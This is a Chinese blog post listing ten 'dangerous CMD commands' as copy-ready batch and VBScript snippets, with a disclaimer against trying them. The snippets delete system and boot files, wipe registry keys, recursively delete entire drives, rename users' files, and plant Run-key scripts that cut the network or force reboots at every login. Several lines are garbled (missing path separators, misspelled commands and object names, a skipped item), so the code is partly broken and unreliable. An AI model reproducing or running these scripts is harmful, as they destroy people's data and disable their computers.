一、说明
本篇记录的是使用CMD的十个危险的指令,千万不要去尝试,看看就好了。如果手痒想试试,引发后果请自行承担。千万千万要谨慎操作哦。
二、十大指令
1、删除系统重要文件并关机
[XML] 纯文本查看 复制代码 @echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
SyntaxHighlighter Copyright 2004-2013 Alex Gorbatchev.
2、更改文件后缀名
[XML] 纯文本查看 复制代码 REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
BEN *.BAT *.TXT
SyntaxHighlighter Copyright 2004-2013 Alex Gorbatchev.
3、删除系统重要文件
[XML] 纯文本查看 复制代码 del c:\WINDOWS\system32\*.*/q SyntaxHighlighter Copyright 2004-2013 Alex Gorbatchev.
4、使pc永久崩溃
[XML] 纯文本查看 复制代码 @echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
SyntaxHighlighter Copyright 2004-2013 Alex Gorbatchev.
5、删除全部注册表
[XML] 纯文本查看 复制代码 @ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
SyntaxHighlighter Copyright 2004-2013 Alex Gorbatchev.
6、永远禁用网络
[XML] 纯文本查看 复制代码 echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c"windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun/v
windowsapi/t reg_sz/d c:windowswimn32.bat/f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun/v
controlexit/t reg_sz/d c:windowswimn32.bat/f
pause
SyntaxHighlighter Copyright 2004-2013 Alex Gorbatchev.
7、永远的《回车》
[XML] 纯文本查看 复制代码 echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11-f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun
/v startapi /t reg_sz/d c:windowshartlell.bat /f
reg add hkey-current_usersoftwaremicrosoftwindowscurrentversionrun
/v/t reg_sz/d c:windowshartlell.bat /f
PAUSE
SyntaxHighlighter Copyright 2004-2013 Alex Gorbatchev.
9、格式化硬盘
[XML] 纯文本查看 复制代码 rd/s/q D:\
rd/s/q C:\
rd/s/q E:\
rd/s/q F:\
rd/s/q g:\
SyntaxHighlighter Copyright 2004-2013 Alex Gorbatchev.
10、开启CD蜂鸣器 不停地响
[XML] 纯文本查看 复制代码 Set oWMP=CreateObject("WMPIayer.0CX.7")
Set colCDROMs=oWMP.cdromCollection
do
if colCDROMs.Count>=1 then
For i=0 to colCDROMs.Count -1
colCDROMs.ltem.Eject
Next
For =0 to colCDROMs.Count -1
colCDROMs.ltem.Eject
Next
End lf
wscript.sleep 100
Loop
SyntaxHighlighter Copyright 2004-2013 Alex Gorbatchev.
注意:如果你使用任何一个CMD命令,造成的损失与博主无关,大家看看就好了,不要去实际操作。 |